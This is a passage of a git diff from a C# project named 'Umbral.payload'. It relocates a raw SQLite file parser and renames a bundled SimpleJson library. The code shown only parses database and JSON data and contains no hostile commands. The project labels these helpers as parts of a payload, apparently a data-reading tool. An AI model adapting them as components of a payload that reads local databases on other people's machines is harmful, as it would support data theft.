ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size)); - } - - private bool ReadTableFromOffset(ulong Offset) - { - if (db_bytes[(int)Offset] == 13) - { - int num2 = Convert.ToInt32(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); - int length = 0; - if (table_entries != null) - { - length = table_entries.Length; - Array.Resize(ref table_entries, table_entries.Length + num2 + 1); - } - else - { - table_entries = new table_entry[num2 + 1]; - } - - int num16 = num2; - for (int i = 0; i <= num16; i++) - { - var _fieldArray = new record_header_field[1]; - ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); - if (decimal.Compare(new decimal(Offset), 100M) != 0) - { - num += Offset; - } - - int endIndex = GVL((int)num); - long num9 = CVL((int)num, endIndex); - int num8 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); - table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8); - num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One)); - endIndex = GVL((int)num); - num8 = endIndex; - long num7 = CVL((int)num, endIndex); - long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); - for (int j = 0; num10 < num7; j++) - { - Array.Resize(ref _fieldArray, j + 1); - endIndex = num8 + 1; - num8 = GVL(endIndex); - _fieldArray[j].type = CVL(endIndex, num8); - if (_fieldArray[j].type > 9L) - { - if (IsOdd(_fieldArray[j].type)) - { - _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0); - } - else - { - _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0); - } - } - else - { - _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type]; - } - - num10 = num10 + (num8 - endIndex) + 1L; - } - - table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1]; - int num4 = 0; - int num17 = _fieldArray.Length - 1; - for (int k = 0; k <= num17; k++) - { - if (_fieldArray[k].type > 9L) - { - if (!IsOdd(_fieldArray[k].type)) - { - if (decimal.Compare(new decimal(encoding), decimal.One) == 0) - { - table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); - } - else if (decimal.Compare(new decimal(encoding), 2M) == 0) - { - table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); - } - else if (decimal.Compare(new decimal(encoding), 3M) == 0) - { - table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); - } - } - else - { - table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); - } - } - else - { - table_entries[length + i].content[k] = Convert.ToString(ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), - (int)_fieldArray[k].size)); - } - - num4 += (int)_fieldArray[k].size; - } - } - } - else if (db_bytes[(int)Offset] == 5) - { - ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); - int num18 = num14; - for (int m = 0; m <= num18; m++) - { - ushort num13 = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2); - ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(page_size)))); - } - - ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), - new decimal(page_size)))); - } - - return true; - } - - [StructLayout(LayoutKind.Sequential)] - private struct record_header_field - { - public long size; - public long type; - } - - [StructLayout(LayoutKind.Sequential)] - private struct sqlite_master_entry - { - public long row_id; - public string item_type; - public string item_name; - public readonly string astable_name; - public long root_num; - public string sql_statement; - } - - [StructLayout(LayoutKind.Sequential)] - private struct table_entry - { - public long row_id; - public string[] content; - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Umbral.payload.Components.Helpers +{ + public class SQLiteHandler + { + private readonly byte[] db_bytes; + private readonly ulong encoding; + private string[] field_names = new string[1]; + private sqlite_master_entry[] master_table_entries; + private readonly ushort page_size; + private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + private table_entry[] table_entries; + + public SQLiteHandler(string baseName) + { + if (File.Exists(baseName)) + { + db_bytes = File.ReadAllBytes(baseName); + if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) + { + throw new Exception("Not a valid SQLite 3 Database File"); + } + + if (db_bytes[0x34] != 0) + { + throw new Exception("Auto-vacuum capable database is not supported"); + } + + //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0) + //{ + // throw new Exception("No supported Schema layer file-format"); + //} + page_size = (ushort)ConvertToInteger(0x10, 2); + encoding = ConvertToInteger(0x38, 4); + if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0) + { + encoding = 1L; + } + + ReadMasterTable(100L); + } + } + + private ulong ConvertToInteger(int startIndex, int Size) + { + if (Size > 8 | Size == 0) + { + return 0L; + } + + ulong num2 = 0L; + int num4 = Size - 1; + for (int i = 0; i <= num4; i++) + { + num2 = num2 << 8 | db_bytes[startIndex + i]; + } + + return num2; + } + + private long CVL(int startIndex, int endIndex) + { + endIndex++; + byte[] buffer = new byte[8]; + int num4 = endIndex - startIndex; + bool flag = false; + if (num4 == 0 | num4 > 9) + { + return 0L; + } + + if (num4 == 1) + { + buffer[0] = (byte)(db_bytes[startIndex] & 0x7f); + return BitConverter.ToInt64(buffer, 0); + } + + if (num4 == 9) + { + flag = true; + } + + int num2 = 1; + int num3 = 7; + int index = 0; + if (flag) + { + buffer[0] = db_bytes[endIndex - 1]; + endIndex--; + index = 1; + } + + int num7 = startIndex; + for (int i = endIndex - 1; i >= num7; i += -1) + { + if (i - 1 >= startIndex) + { + buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2 | (byte)(db_bytes[i - 1] << (num3 & 7))); + num2++; + index++; + num3--; + } + else if (!flag) + { + buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2); + } + } + + return BitConverter.ToInt64(buffer, 0); + } + + public int GetRowCount() + { + return table_entries.Length; + } + + public string[] GetTableNames() + { + var tableNames = new List(); + int num3 = master_table_entries.Length - 1; + for (int i = 0; i <= num3; i++) + { + if (master_table_entries[i].item_type == "table") + { + tableNames.Add(master_table_entries[i].item_name); + } + } + + return tableNames.ToArray(); + } + + public string GetValue(int row_num, int field) + { + if (row_num >= table_entries.Length) + { + return null; + } + + if (field >= table_entries[row_num].content.Length) + { + return null; + } + + return table_entries[row_num].content[field]; + } + + public string GetValue(int row_num, string field) + { + int num = -1; + int length = field_names.Length - 1; + for (int i = 0; i <= length; i++) + { + if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0) + { + num = i; + break; + } + } + + if (num == -1) + { + return null; + } + + return GetValue(row_num, num); + } + + private int GVL(int startIndex) + { + if (startIndex > db_bytes.Length) + { + return 0; + } + + int num3 = startIndex + 8; + for (int i = startIndex; i <= num3; i++) + { + if (i > db_bytes.Length - 1) + { + return 0; + } + + if ((db_bytes[i] & 0x80) != 0x80) + { + return i; + } + } + + return startIndex + 8; + } + + private bool IsOdd(long value) + { + return (value & 1L) == 1L; + } + + private void ReadMasterTable(ulong Offset) + { + if (db_bytes[(int)Offset] == 13) + { + ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (master_table_entries != null) + { + length = master_table_entries.Length; + Array.Resize(ref master_table_entries, master_table_entries.Length + num2 + 1); + } + else + { + master_table_entries = new sqlite_master_entry[num2 + 1]; + } + + int num13 = num2; + for (int i = 0; i <= num13; i++) + { + ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + + int endIndex = GVL((int)num); + long num7 = CVL((int)num, endIndex); + int num6 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + master_table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), + num6); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One)); + endIndex = GVL((int)num); + num6 = endIndex; + long num5 = CVL((int)num, endIndex); + long[] numArray = new long[5]; + int index = 0; + do + { + endIndex = num6 + 1; + num6 = GVL(endIndex); + numArray[index] = CVL(endIndex, num6); + if (numArray[index] > 9L) + { + if (IsOdd(numArray[index])) + { + numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0); + } + else + { + numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0); + } + } + else + { + numArray[index] = SQLDataTypeSize[(int)numArray[index]]; + } + + index++; + } while (index <= 4); + + if (decimal.Compare(new decimal(encoding), decimal.One) == 0) + { + master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(encoding), 2M) == 0) + { + master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(encoding), 3M) == 0) + { + master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + + if (decimal.Compare(new decimal(encoding), decimal.One) == 0) + { + master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(encoding), 2M) == 0) + { + master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(encoding), 3M) == 0) + { + master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + + master_table_entries[length + i].root_num = + (long)ConvertToInteger( + Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), + new decimal(numArray[2]))), (int)numArray[3]); + if (decimal.Compare(new decimal(encoding), decimal.One) == 0) + { + master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes, + Convert.ToInt32(decimal.Add( + decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), + new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(encoding), 2M) == 0) + { + master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add( + decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), + new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(encoding), 3M) == 0) + { + master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add( + decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), + new decimal(numArray[3]))), (int)numArray[4]); + } + } + } + else if (db_bytes[(int)Offset] == 5) + { + ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num14 = num11; + for (int j = 0; j <= num14; j++) + { + ushort startIndex = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) == 0) + { + ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One), new decimal(page_size)))); + } + else + { + ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(page_size)))); + } + } + + ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), + new decimal(page_size)))); + } + } + + public bool ReadTable(string TableName) + { + int index = -1; + int length = master_table_entries.Length - 1; + for (int i = 0; i <= length; i++) + { + if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) + { + index = i; + break; + } + } + + if (index == -1) + { + return false; + } + + string[] strArray = master_table_entries[index].sql_statement.Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(','); + int num6 = strArray.Length - 1; + for (int j = 0; j <= num6; j++) + { + strArray[j] = strArray[j].TrimStart(); + int num4 = strArray[j].IndexOf(" "); + if (num4 > 0) + { + strArray[j] = strArray[j].Substring(0, num4); + } + + if (strArray[j].IndexOf("UNIQUE") == 0) + { + break; + } + + Array.Resize(ref field_names, j + 1); + field_names[j] = strArray[j]; + } + + return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size)); + } + + private bool ReadTableFromOffset(ulong Offset) + { + if (db_bytes[(int)Offset] == 13) + { + int num2 = Convert.ToInt32(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (table_entries != null) + { + length = table_entries.Length; + Array.Resize(ref table_entries, table_entries.Length + num2 + 1); + } + else + { + table_entries = new table_entry[num2 + 1]; + } + + int num16 = num2; + for (int i = 0; i <= num16; i++) + { + var _fieldArray = new record_header_field[1]; + ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + + int endIndex = GVL((int)num); + long num9 = CVL((int)num, endIndex); + int num8 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One)); + endIndex = GVL((int)num); + num8 = endIndex; + long num7 = CVL((int)num, endIndex); + long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); + for (int j = 0; num10 < num7; j++) + { + Array.Resize(ref _fieldArray, j + 1); + endIndex = num8 + 1; + num8 = GVL(endIndex); + _fieldArray[j].type = CVL(endIndex, num8); + if (_fieldArray[j].type > 9L) + { + if (IsOdd(_fieldArray[j].type)) + { + _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0); + } + else + { + _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0); + } + } + else + { + _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type]; + } + + num10 = num10 + (num8 - endIndex) + 1L; + } + + table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1]; + int num4 = 0; + int num17 = _fieldArray.Length - 1; + for (int k = 0; k <= num17; k++) + { + if (_fieldArray[k].type > 9L) + { + if (!IsOdd(_fieldArray[k].type)) + { + if (decimal.Compare(new decimal(encoding), decimal.One) == 0) + { + table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(encoding), 2M) == 0) + { + table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(encoding), 3M) == 0) + { + table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes, + Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + table_entries[length + i].content[k] = Convert.ToString(ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), + (int)_fieldArray[k].size)); + } + + num4 += (int)_fieldArray[k].size; + } + } + } + else if (db_bytes[(int)Offset] == 5) + { + ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num18 = num14; + for (int m = 0; m <= num18; m++) + { + ushort num13 = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2); + ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(page_size)))); + } + + ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), + new decimal(page_size)))); + } + + return true; + } + + [StructLayout(LayoutKind.Sequential)] + private struct record_header_field + { + public long size; + public long type; + } + + [StructLayout(LayoutKind.Sequential)] + private struct sqlite_master_entry + { + public long row_id; + public string item_type; + public string item_name; + public readonly string astable_name; + public long root_num; + public string sql_statement; + } + + [StructLayout(LayoutKind.Sequential)] + private struct table_entry + { + public long row_id; + public string[] content; + } + } } \ No newline at end of file diff --git a/Umbral.payload/Handlers/SimpleJson.cs b/Umbral.payload/Components/Helpers/SimpleJson.cs similarity index 96% rename from Umbral.payload/Handlers/SimpleJson.cs rename to Umbral.payload/Components/Helpers/SimpleJson.cs index 506cf76..3bcf30d 100644 --- a/Umbral.payload/Handlers/SimpleJson.cs +++ b/Umbral.payload/Components/Helpers/SimpleJson.cs @@ -1,2138 +1,2138 @@ -//----------------------------------------------------------------------- -// -// Copyright (c) 2011, The Outercurve Foundation. -// -// Licensed under the MIT License (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.opensource.org/licenses/mit-license.php -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// -// Nathan Totten (ntotten.com), Jim Zimmerman (jimzimmerman.com) and Prabir Shrestha (prabir.me) -// https://github.com/facebook-csharp-sdk/simple-json -//----------------------------------------------------------------------- - -// VERSION: 0.38.0 - -// NOTE: uncomment the following line to make SimpleJson class internal. -//#define SIMPLE_JSON_INTERNAL - -// NOTE: uncomment the following line to make JsonArray and JsonObject class internal. -//#define SIMPLE_JSON_OBJARRAYINTERNAL - -// NOTE: uncomment the following line to enable dynamic support. -//#define SIMPLE_JSON_DYNAMIC - -// NOTE: uncomment the following line to enable DataContract support. -//#define SIMPLE_JSON_DATACONTRACT - -// NOTE: uncomment the following line to enable IReadOnlyCollection and IReadOnlyList support. -//#define SIMPLE_JSON_READONLY_COLLECTIONS - -// NOTE: uncomment the following line to disable linq expressions/compiled lambda (better performance) instead of method.invoke(). -// define if you are using .net framework <= 3.0 or < WP7.5 -//#define SIMPLE_JSON_NO_LINQ_EXPRESSION - -// NOTE: uncomment the following line if you are compiling under Window Metro style application/library. -// usually already defined in properties -//#define NETFX_CORE; - -// If you are targetting WinStore, WP8 and NET4.5+ PCL make sure to #define SIMPLE_JSON_TYPEINFO; - -// original json parsing code from http://techblog.procurios.nl/k/618/news/view/14605/14863/How-do-I-write-my-own-parser-for-JSON.html - -#if NETFX_CORE -#define SIMPLE_JSON_TYPEINFO -#endif - -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics.CodeAnalysis; -using System.Globalization; -using System.Reflection; -using System.Runtime.Serialization; -using System.Text; -using Umbral.payload.Handlers; -using Umbral.payload.Reflection; -#if !SIMPLE_JSON_NO_LINQ_EXPRESSION -using System.Linq.Expressions; -#endif -#if SIMPLE_JSON_DYNAMIC -using System.Dynamic; -#endif - -// ReSharper disable LoopCanBeConvertedToQuery -// ReSharper disable RedundantExplicitArrayCreation -// ReSharper disable SuggestUseVarKeywordEvident -namespace Umbral.payload.Handlers -{ - /// - /// Represents the json array. - /// - [GeneratedCode("simple-json", "1.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix")] -#if SIMPLE_JSON_OBJARRAYINTERNAL - internal -#else - public -#endif - class JsonArray : List - { - /// - /// Initializes a new instance of the class. - /// - public JsonArray() - { - } - - /// - /// Initializes a new instance of the class. - /// - /// The capacity of the json array. - public JsonArray(int capacity) : base(capacity) - { - } - - /// - /// The json representation of the array. - /// - /// The json representation of the array. - public override string ToString() - { - return SimpleJson.SerializeObject(this) ?? string.Empty; - } - } - - /// - /// Represents the json object. - /// - [GeneratedCode("simple-json", "1.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix")] -#if SIMPLE_JSON_OBJARRAYINTERNAL - internal -#else - public -#endif - class JsonObject : -#if SIMPLE_JSON_DYNAMIC - DynamicObject, -#endif - IDictionary - { - /// - /// The internal member dictionary. - /// - private readonly Dictionary _members; - - /// - /// Initializes a new instance of . - /// - public JsonObject() - { - _members = new Dictionary(); - } - - /// - /// Initializes a new instance of . - /// - /// - /// The implementation to use when - /// comparing keys, or null to use the default for the - /// type of the key. - /// - public JsonObject(IEqualityComparer comparer) - { - _members = new Dictionary(comparer); - } - - /// - /// Gets the at the specified index. - /// - /// - public object this[int index] => GetAtIndex(_members, index); - - internal static object GetAtIndex(IDictionary obj, int index) - { - if (obj == null) - throw new ArgumentNullException("obj"); - if (index >= obj.Count) - throw new ArgumentOutOfRangeException("index"); - int i = 0; - foreach (var o in obj) - if (i++ == index) - return o.Value; - return null; - } - - /// - /// Adds the specified key. - /// - /// The key. - /// The value. - public void Add(string key, object value) - { - _members.Add(key, value); - } - - /// - /// Determines whether the specified key contains key. - /// - /// The key. - /// - /// true if the specified key contains key; otherwise, false. - /// - public bool ContainsKey(string key) - { - return _members.ContainsKey(key); - } - - /// - /// Gets the keys. - /// - /// The keys. - public ICollection Keys => _members.Keys; - - /// - /// Removes the specified key. - /// - /// The key. - /// - public bool Remove(string key) - { - return _members.Remove(key); - } - - /// - /// Tries the get value. - /// - /// The key. - /// The value. - /// - public bool TryGetValue(string key, out object value) - { - return _members.TryGetValue(key, out value); - } - - /// - /// Gets the values. - /// - /// The values. - public ICollection Values => _members.Values; - - /// - /// Gets or sets the with the specified key. - /// - /// - public object this[string key] - { - get => _members[key]; - set => _members[key] = value; - } - - /// - /// Adds the specified item. - /// - /// The item. - public void Add(KeyValuePair item) - { - _members.Add(item.Key, item.Value); - } - - /// - /// Clears this instance. - /// - public void Clear() - { - _members.Clear(); - } - - /// - /// Determines whether [contains] [the specified item]. - /// - /// The item. - /// - /// true if [contains] [the specified item]; otherwise, false. - /// - public bool Contains(KeyValuePair item) - { - return _members.ContainsKey(item.Key) && _members[item.Key] == item.Value; - } - - /// - /// Copies to. - /// - /// The array. - /// Index of the array. - public void CopyTo(KeyValuePair[] array, int arrayIndex) - { - if (array == null) throw new ArgumentNullException("array"); - int num = Count; - foreach (var kvp in this) - { - array[arrayIndex++] = kvp; - if (--num <= 0) - return; - } - } - - /// - /// Gets the count. - /// - /// The count. - public int Count => _members.Count; - - /// - /// Gets a value indicating whether this instance is read only. - /// - /// - /// true if this instance is read only; otherwise, false. - /// - public bool IsReadOnly => false; - - /// - /// Removes the specified item. - /// - /// The item. - /// - public bool Remove(KeyValuePair item) - { - return _members.Remove(item.Key); - } - - /// - /// Gets the enumerator. - /// - /// - public IEnumerator> GetEnumerator() - { - return _members.GetEnumerator(); - } - - /// - /// Returns an enumerator that iterates through a collection. - /// - /// - /// An object that can be used to iterate through the collection. - /// - IEnumerator IEnumerable.GetEnumerator() - { - return _members.GetEnumerator(); - } - - /// - /// Returns a json that represents the current . - /// - /// - /// A json that represents the current . - /// - public override string ToString() - { - return SimpleJson.SerializeObject(this); - } - -#if SIMPLE_JSON_DYNAMIC - /// - /// Provides implementation for type conversion operations. Classes derived from the class can override this method to specify dynamic behavior for operations that convert an object from one type to another. - /// - /// Provides information about the conversion operation. The binder.Type property provides the type to which the object must be converted. For example, for the statement (String)sampleObject in C# (CType(sampleObject, Type) in Visual Basic), where sampleObject is an instance of the class derived from the class, binder.Type returns the type. The binder.Explicit property provides information about the kind of conversion that occurs. It returns true for explicit conversion and false for implicit conversion. - /// The result of the type conversion operation. - /// - /// Alwasy returns true. - /// - public override bool TryConvert(ConvertBinder binder, out object result) - { - // - if (binder == null) - throw new ArgumentNullException("binder"); - // - Type targetType = binder.Type; - - if ((targetType == typeof(IEnumerable)) || - (targetType == typeof(IEnumerable>)) || - (targetType == typeof(IDictionary)) || - (targetType == typeof(IDictionary))) - { - result = this; - return true; - } - - return base.TryConvert(binder, out result); - } - - /// - /// Provides the implementation for operations that delete an object member. This method is not intended for use in C# or Visual Basic. - /// - /// Provides information about the deletion. - /// - /// Alwasy returns true. - /// - public override bool TryDeleteMember(DeleteMemberBinder binder) - { - // - if (binder == null) - throw new ArgumentNullException("binder"); - // - return _members.Remove(binder.Name); - } - - /// - /// Provides the implementation for operations that get a value by index. Classes derived from the class can override this method to specify dynamic behavior for indexing operations. - /// - /// Provides information about the operation. - /// The indexes that are used in the operation. For example, for the sampleObject[3] operation in C# (sampleObject(3) in Visual Basic), where sampleObject is derived from the DynamicObject class, is equal to 3. - /// The result of the index operation. - /// - /// Alwasy returns true. - /// - public override bool TryGetIndex(GetIndexBinder binder, object[] indexes, out object result) - { - if (indexes == null) throw new ArgumentNullException("indexes"); - if (indexes.Length == 1) - { - result = ((IDictionary)this)[(string)indexes[0]]; - return true; - } - result = null; - return true; - } - - /// - /// Provides the implementation for operations that get member values. Classes derived from the class can override this method to specify dynamic behavior for operations such as getting a value for a property. - /// - /// Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member on which the dynamic operation is performed. For example, for the Console.WriteLine(sampleObject.SampleProperty) statement, where sampleObject is an instance of the class derived from the class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. - /// The result of the get operation. For example, if the method is called for a property, you can assign the property value to . - /// - /// Alwasy returns true. - /// - public override bool TryGetMember(GetMemberBinder binder, out object result) - { - object value; - if (_members.TryGetValue(binder.Name, out value)) - { - result = value; - return true; - } - result = null; - return true; - } - - /// - /// Provides the implementation for operations that set a value by index. Classes derived from the class can override this method to specify dynamic behavior for operations that access objects by a specified index. - /// - /// Provides information about the operation. - /// The indexes that are used in the operation. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the class, is equal to 3. - /// The value to set to the object that has the specified index. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the class, is equal to 10. - /// - /// true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown. - /// - public override bool TrySetIndex(SetIndexBinder binder, object[] indexes, object value) - { - if (indexes == null) throw new ArgumentNullException("indexes"); - if (indexes.Length == 1) - { - ((IDictionary)this)[(string)indexes[0]] = value; - return true; - } - 